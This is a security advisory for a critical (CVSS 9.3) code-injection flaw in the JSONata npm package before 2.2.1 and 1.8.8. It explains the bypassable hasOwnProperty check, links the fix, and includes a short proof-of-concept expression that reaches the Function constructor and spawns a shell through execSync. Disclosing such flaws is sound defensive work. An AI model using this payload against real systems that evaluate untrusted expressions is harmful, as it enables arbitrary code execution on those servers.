PT-2026-80201 · Npm · Jsonata
Publicado
2026-08-21
·
Atualizado
2026-08-21
CVSS v4.0
9.3
Crítica
| Vetor | AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Before JSONata
2.2.1 and 1.8.8 it was possible to execute arbitrary code with
crafted expressions, due to a bypassable hasOwnProperty check in
environment.lookup
https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871This was fixed in https://github.com/jsonata-js/jsonata/pull/799
(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)
which is included in the
2.2.1 release, and then back-ported to the 1.8.8 release.PoC
js
import jsonata from "jsonata";
const expression = jsonata(`
(
$hasOwnProperty := $spread($string);
$ proto := $constructor;
$constructor("return
process.getBuiltinModule('child process').execSync('sh',{stdio:'inherit'})")();
)`);
await expression.evaluate({});Correção
Code Injection
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Enumeração de Fraquezas
Identificadores relacionados
Produtos afetados
Jsonata